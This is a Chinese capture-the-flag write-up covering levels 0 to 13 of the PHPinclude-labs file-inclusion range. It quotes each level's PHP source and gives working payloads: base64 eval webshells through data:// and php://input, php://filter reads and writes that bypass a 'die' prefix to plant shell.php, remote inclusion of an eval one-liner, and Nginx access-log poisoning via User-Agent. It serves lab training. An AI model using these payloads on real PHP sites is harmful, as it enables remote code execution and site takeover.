打靶日记-PHPinclude-labs(一)
前言
题目来自CTF+ | CTF学习与交流的综合平台。本文记录前13关。
PHPinclude-labs-level0
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 0 : include_base 体验关 --- 该关卡配置:allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 backdoor.txt 内容为: <?php @eval($_POST['ctf']); ?>
- 根目录下 flag 文件,flag以文本的形式存储在文件中。flag{.....}——— 请注意理解文件包含的本质,这里的以文本形式存储不单指 /flag 是一个文本类型的文件(或者多数情况下为 flag.txt),在后续的题目中,这一点还说明该文件没有任何 php 语法特征。
你可以看到,这里相关文件虽然内容是 php 代码,但是由于是 .txt 的文本形式,当你直接访问时,服务器并不会去解析或者说执行它,而是会返回给你文本内容。
比如你可以先尝试直接访问 /DemoFlag.txt 再尝试?wrappers=DemoFlag.txt,你会发现前者服务器直接给你返回了文本内容,你能看见这个示例flag的内容,而后者反而看不到DemoFlag.txt的内容了。
更多细节请查阅:https://www.php.net/manual/zh/function.include.php
*/// 一种很炫技但是没用的写法嘿嘿 o(* ̄▽ ̄*)ゞ Try ?wrappers=phpinfo.txtisset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);?>
这一关主要讲解了文件包含的本质。
?wrappers=/flag
PHPinclude-labs-level1
o(* ̄▽ ̄*)ゞ Now You are in /var/www/html
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 1 : file协议の本家 --- 文件包含题目大多会涉及封装协议,靶场会讲解一些高频出现的协议,按照惯例我们会在每个关卡的头部文字讲解他们,当然你也可以自行在PHP手册中查询:
【PHP手册 - 支持的协议和封装协议】https://www.php.net/manual/zh/wrappers.php本关卡你将只能使用 file 协议 — 访问本地文件系统(https://www.php.net/manual/zh/wrappers.file.php) 换个说法,每一个include函数调用行为都是以当前脚本所在目录为默认目录的file协议调用: include("filename") <=> include("file://" . __DIR__ . "/filename");
不过可惜的是,引入file协议后你只能使用绝对路径。其次,由于include函数的特性,你引入的文件如果内容符合php语法,那么他会被执行,这也就意味着我们无法通过file协议或者直接使用include方式去获取存储在变量中的flag。依赖:
allow_url_fopen:Off/On
allow_url_include :Off/On该关卡配置:allow_url_fopen=Off
allow_url_include=Off相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*///Try ?wrappers=/var/www/html/phpinfo.txt
//flag? why not ?wrappers=/var/www/html/flag.php (,,Ò‿Ó,,)isset($_GET['wrappers']) ? include("file://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>
第一关没有什么过滤,在这一关使用的是file协议,用于访问本地文件系统
当我们传参?wrappers=/var/www/html/flag.php并不能看到flag为因为该文件中的 flag 存储在静态变量中,include 后会作为 PHP 代码执行,但不会输出变量内容.
include()函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag)时,其内容会被直接输出,
?wrappers=/flag
PHPinclude-labs-level2
◝(*⁰▿⁰*)◜Hello-CTFww1 <?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 2 : data协议_1 --- 本关卡你将只能使用 data 协议 — (» RFC 2397) 数据流封装器(https://www.php.net/manual/zh/wrappers.data.php),更像是给了你另外一次输入机会(x如果传入的数据是PHP代码,就会执行代码:
data://text/plain,<?php phpinfo();?>
data://text/plain,<?php eval($_POST['helloctf']);?>data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+or data:text/plain依赖:
allow_url_fopen:On;
allow_url_include:On;
PHP_Version>=5.2.0该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try ?wrappers=,<?php phpinfo();?> */echo include("data://text/plain;base64,4pedKCrigbDilr/igbAqKeKXnEhlbGxvLUNURnd3");isset($_GET['wrappers']) ? include("data://text/plain".$_GET['wrappers']) : '';highlight_file(__FILE__);?>
使用data伪协议来读取文件
构造payload
?wrappers=,<?php echo file_get_contents('/flag')?>,
或者读取 flag.php文件的内容
?wrappers=,<?php echo file_get_contents('flag.php')?>
答案在源码里
PHPinclude-labs-level3
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 3 : data协议_2 --- 有了一些过滤,但是这肯定难不倒聪明的你ww该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*/preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $_GET['wrappers']) ? '' : include("data://text/plain".$_GET['wrappers']);highlight_file(__FILE__);?>
这里有过滤,首先想到的就是base64绕过由于flag被过滤,用一句话木马,
?wrapppers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=
但是等号被过滤了,wp说明:
根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号作为码表的一部分移除会导致解码不正确,注意分别。
所以payload:
?wrapppers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4
post :1=system('cat /flag');
PHPinclude-labs-level4
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 4 : http:// & https:// --- 本关卡你将只能使用 http/https 协议 (https://www.php.net/manual/zh/wrappers.http.php) — 常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
注意远程文件需要为可读的文本形式。依赖:allow_url_fopen:On;allow_url_include:On;该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 phpinfo.txt 内容为:<?php phpinfo(); ?>
- 当前目录下 backdoor.txt 内容为: <?php @eval($_POST['ctf']); ?>
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try ?wrappers=127.0.0.1/hello.txt */isset($_GET['wrappers']) ? include("http://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>
远程文件包含,这里使用
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
<?php @eval($_POST['a']); ?>
包含后post a=system('cat /flag');
PHPinclude-labs-level5
这里先看看challenge.txt
<?php isset($_GET['Key'])&& 1==2 ? echo "<?= system('tac flag.???');?>" : die('Access Denied');?>
三目运算符,由于1==2恒为假,所以只会执行 die('Access Denied'),剩下的跟上一题一样,这一题有点水啊
PHPinclude-labs-level6
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 6 : php协议_Demo --- php:// — 访问各个输入/输出流(I/O streams),PHP中最为复杂和强大的协议(https://www.php.net/manual/zh/wrappers.php.php)。在CTF中经常使用的如下:
php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。 依赖:allow_url_include:Onphp://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,从而组成一个过滤链,常用于数据读取,在特殊情况下,利用特性还可以实现代码执行。无依赖,但在过滤链的代码执行中 php://temp 可能需要allow_url_include:On该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*/isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>
有两种方法一种是php://filter,一种是php://input,这里使用第一种
?wrappers=filter/convert.base64-encode/resource=flag.php.
当使用 php://filter/convert.base64-encode/resource=flag.php 时:
php://filter 会先读取 flag.php 的原始源代码(而非执行后的结果),并通过 convert.base64-encode 过滤器将其编码为 base64 字符串。
此时 include() 接收到的是一段 base64 编码的字符串(非可执行的 PHP 代码),会直接将其输出到页面(因为无法作为 PHP 代码执行)。
我们拿到 base64 字符串后解码,就能得到 flag.php 的源代码,从而获取其中的 flag。
PHPinclude-labs-level7
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 7 : php协议_php://input --- php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。常用于执行代码。 依赖:allow_url_include:Onphp://input做为include的直接参数时,如题,php执行时会将post内容当作文件内容,要注意,php://input不支持post提交,其请求的参数格式是原生(Raw)的内容,无法使用hackbar提交,因为hackbar不支持raw方式 该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try Raw: <?php eval($_GET['ctf']); ?> */
/* Or <?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> */
/* Or <\?= system('tac flag.???');?> 记得去掉转义 */isset($_GET['wrappers']) ? include("php://input") : '';highlight_file(__FILE__);?>
这里题目给出解释php://input做为include的直接参数时,如题,php执行时会将post内容当作文件内容,要注意,php://input不支持post提交,其请求的参数格式是原生(Raw)的内容,无法使用hackbar提交,因为hackbar不支持raw方式
所以使用bp操作
wrappers可以是任意值。
?weappers=1
然后抓包,修改请求方法。注意保留 URL 后的 ?wrappers=1
PHPinclude-labs-level8
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 8 : php协议_php://filter_过滤器&字符串过滤器 --- php://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,从而组成一个过滤链,常用于数据读取,在特殊情况下,利用特性还可以实现代码执行。无依赖,但在过滤链的代码执行中 php://temp 可能需要allow_url_include:On依赖:
allow_url_fopen:Off/On
allow_url_include :Off/On其参数如下:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 resource=flag.php
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 php://filter/read=A|B|C/resource=flag.php
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 php://filter/write=A|B|C/resource=flag.php
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 php://filter/A|B|C/resource=flag.php【过滤器列表】https://www.php.net/manual/zh/filters.php【字符串过滤器】https://www.php.net/manual/zh/filters.string.php
php://filter/A|B|C/resource=sayhello.txt
string.rot13 rot13变换
string.toupper 转大写字母
string.tolower 转小写字母
string.strip_tags 去除html、PHP语言标签 (本特性已自 PHP 7.3.0 起废弃)该关卡配置:
allow_url_fopen:Off
allow_url_include:Off相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* Try ?wrappers=filter/string.rot13/resource=sayhello.txt */
/* 单纯的字符串过滤器解决不了php文件哦~ Try ?wrappers=filter/string.rot13/resource=flag.php */isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>
payload
?wrappers=filter/string.rot13/resource=/flag
或者使用
?wrappers=filter/resource=/flag
允许省略 read=
或 write=
参数,此时过滤器会默认对数据执行 "读取" 操作,而flag文件是文本文件所以可以直接读取。
同时可以使用
?wrappers=filter/read=convert.base64-encode/resource=flag.php
将flag.php以base64编码形式显示出来。
PHPinclude-labs-level9
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 9 : php协议_php://filter_转换过滤器 --- 依赖:
allow_url_fopen:Off/On
allow_url_include:Off/On【转换过滤器】https://www.php.net/manual/zh/filters.convert.php
- convert.base64-encode 和 convert.base64-decode
- convert.quoted-printable-encode 和 convert.quoted-printable-decode
- convert.iconv.*相关文件:
- 当前目录下 flag.php 文件,flag以静态变量形式存储在文件中。*//* base64的转换滤器就能很好的解决php文件了x~ Try ?wrappers=filter/convert.base64-encode/resource=flag.php */isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';highlight_file(__FILE__);?>
?wrappers=filter/convert.base64-encode/resource=flag.php
PHPinclude-labs-level10
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 10 : 文件系统函数_file_get_contents() --- 我们常见的文件包含题目的大多数考点主要集中在类似 include() 函数(这里的类似强调的是 incdlue、require、include_once、require_once)的调用上,除开直接的文本包含,更多还涉及到了一些封装协议(wrappers)的使用,比如 file 协议、data 协议、php 协议等等,早在我们之前提及该部分对应文档 【支持的协议和封装协议】https://www.php.net/manual/zh/wrappers.php 时,其中的这样一句话就有强调 “PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。”这些函数的特定 —— 【文件系统·文件系统函数】https://www.php.net/manual/zh/book.filesystem.php。所以在文件包含的题目中,除了include类型函数,其他文件系统函数也可以用来考察协议方面的内容,比如 file_put_contents(), file_get_contents(), file(), readfile() .etc该关卡使用的是 file_get_contents() 函数(https://www.php.net/manual/zh/function.file-get-contents.php) 他会将整个文件读入一个字符串,同样的他支持封装协议(wrappers)的使用。该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* 我觉得你的基础做这一关肯定没问题ww */function hello_ctf($file){$file = file_get_contents($file);if(preg_match("/flag/", $file)){die("You CANNOT See The Secret Message!");}else{var_dump($file);}
}isset($_GET['file']) ? hello_ctf($_GET['file']) : '';highlight_file(__FILE__);?>
由于过滤了flag所以使用base64编码绕过
?file=php://filter/convert.base64-encode/resource=/flag
PHPinclude-labs-level11
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 11 : 文件系统函数_file_put_contents() --- 该关卡使用的是 file_put_contents() 函数(https://www.php.net/manual/zh/function.file-put-contents.php) 这将对应过滤器中的Write方法,用于将数据写入文件。该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manual/zh/function.fopen.php) */function hello_ctf($filename,$data){if(preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $data)){die("WAF!");}file_put_contents($filename,$data);
}isset($_GET['filename'])&&isset($_POST['data']) ? hello_ctf($_GET['filename'],$_POST['data']) : '';highlight_file(__FILE__);?>
先说一下file_put_content函数
file_put_contents()
是 PHP 中用于将数据写入文件的便捷函数,它整合了打开文件、写入数据和关闭文件的操作
常用
file_put_contents(文件路径,内容);
当文件内容,与文件路径都可控式就可以写入shell,在这一题过滤了flag与其他符号,还是用base64编码绕过
filename=php://filter/write=convert.base64-decode/resource=shell.php
data=PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4
这里原本是PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4(<?php eval($_POST['1']);?>)由于题目过滤了=。最后把=删了。
(以下内容由ai给出,如有错误请指出)
上面说到filename是文件路径,在这里文件路径并不是php://filter/write=convert.base64-decode/resource=shell.php并不是传统意义上的 “文件路径”,而是 PHP 中一种特殊的协议路径(属于封装协议的语法格式)。通过过滤器协议,将处理后的数据写入到 shell.php
文件”
当 file_put_contents()
等函数遇到 php://
开头的路径时,会调用 PHP 内部的协议处理器(而非直接操作文件系统)。处理器会按协议参数的规则对数据进行处理,再将结果写入到 resource
指定的物理文件中。
所以我们就成功把一句话木马写入来shelll.php文件
然后执行1=system('cat /flag');
PHPinclude-labs-level11plus
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 11+ : 文件系统函数_file_put_contents()_死亡绕过 --- 经典 —— 死亡绕过该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*//* hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manual/zh/function.fopen.php) */function hello_ctf($filename,$data){if(preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $data)){die("WAF!");}file_put_contents($filename, "<?php die('GAME OVER!') ?>".$data);
}isset($_GET['filename'])&&isset($_POST['data']) ? hello_ctf($_GET['filename'],$_POST['data']) : '';highlight_file(__FILE__);?>
exit绕过这个知识点以前学过,常见的有3中解法
1.base64
在这这一题是"<?php die('GAME OVER!') ?>",填充两个字符后成功破环
filename=php://filter/write=convert.base64-decode/resource=shell.php
data=aaPD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4
2.rot13编码
ROT13 编码:一种简单的字符替换规则,将每个字母替换为字母表中其后第 13 位的字母(A↔N、B↔O...M↔Z,小写字母同理),非字母字符不变。
执行两次rot13相当于解码
filename=php://filter/write=string.rot13/resource=shell.php
data=<?cuc riny($_CBFG['1']);?>
此时shell.php的内容为
<?cuc qvr('TNZR BIRE!') ?><?php eval($_POST['1']);?>
在PHP不开启short_open_tag时,php不认识这个字符串<?cuc qvr('TNZR BIRE!') ?>,当然也就不会执行了
由于题目还过滤了符号,所以这种方法在这一题行不通
3.过滤器嵌套绕过
filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php
content=PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4
php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原
string.strip_tags再PHP7.3.0以上的环境下会发生错误,从而导致无法写入,但是在PHP5的环境下不受此影响
经过测试第1 3 种方法在本题可用。
PHPinclude-labs-level12
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 12 : LFI&&RFI --- LFI - Local File Inclusion, 本地文件包含: 打开并包含本地文件的行为,比如我们后面会接触的日志文件包含,session文件包含,FilterChain等等。
本地文件包含是最常见的文件包含漏洞,在前面关卡中几乎所有的演示都是LFI(比如包含phpinfo.txt,backdoor.txt这样的行为)。
try ?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFIRFI- Remote File Inclusion,远程文件包含: 读取并执行远程服务器上文件的行为,相比于LFI,远程服务器上文件的可控性更高,因此危害更高,但代价就是条件苛刻,十分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程文件包含形式,当然一定意义上,使用data协议去生成字符串然后包含也是一种远程文件包含。该关卡配置:
allow_url_fopen:On
allow_url_include:On相关文件:
- 远程链接(受中国大陆地区网络原因,该远程地址可能失效) https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI 中存有文本类型的一句话木马 <?php @eval($_POST['a']); ?>
- 远程链接(受不可预料的监管影响,该远程地址可能失效) https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI 中存有文本类型的一句话木马 <?php @eval($_POST['a']); ?>*//* hint:(need allow_url_fopen=On)如果 filename 是 "scheme://..." 的格式,则被当成一个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。(https://www.php.net/manual/zh/function.fopen.php) */include('https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI');highlight_file(__FILE__);?>
这一关重在知识点介绍,已经包含了文件
a=sytem('cat /flag');
PHPinclude-labs-level13
<?php
include("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-28 20:30
# @Repo: github.com/ProbiusOfficial/PHPinclude-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com--- HelloCTF - 文件包含基础靶场 关卡 13 : LFI_日志文件包含_Nginx --- 在wrappers被过滤的情况下,通常使用日志文件包含的方式来绕过,由于文件包含漏洞最大的需求点是文件,所以我们需要得知日志文件的位置,通常情况下包含默认位置即可。
该关卡的Dockerfile对于日志的配置为:VOLUME ["/var/log/nginx"]+ /var/log/nginx/ - 默认Nginx日志目录
+ + /var/log/nginx/access.log该关卡配置:
allow_url_fopen:On
allow_url_include:Off相关文件:
- 根目录下 flag 文件,flag以文本形式存储在文件中。*/function hello_ctf($file){if(preg_match("/file|http|ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect/i", $file)){die("No Wrappers!");}include($file);
}isset($_GET['file']) ? hello_ctf($_GET['file']) : '';highlight_file(__FILE__);?>
?file=/var/log/nginx/access.log然后bp抓包,在user-agent头注入一句话木马<?php eval($_POST['a']);?>。蚁剑连接就行。